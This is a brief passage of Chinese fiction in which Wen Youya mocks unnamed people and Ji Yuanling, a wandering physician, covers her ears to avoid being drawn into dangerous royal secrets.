“不晓得那些人是真聪明,还是真蠢。”闻釉崖嗤笑了一声,低垂的眉眼间藏着森森寒意,言语间模棱两可,倒是让人有一种不寒而栗的感觉。
季沅绫猛地抬头看向她,以自己对闻釉崖的了解,这人的话倒像是一种肯定。
她抬起手捂住了自己的耳朵,她就是一个江湖大夫,一点也不想牵扯到这种要命的皇家秘闻中。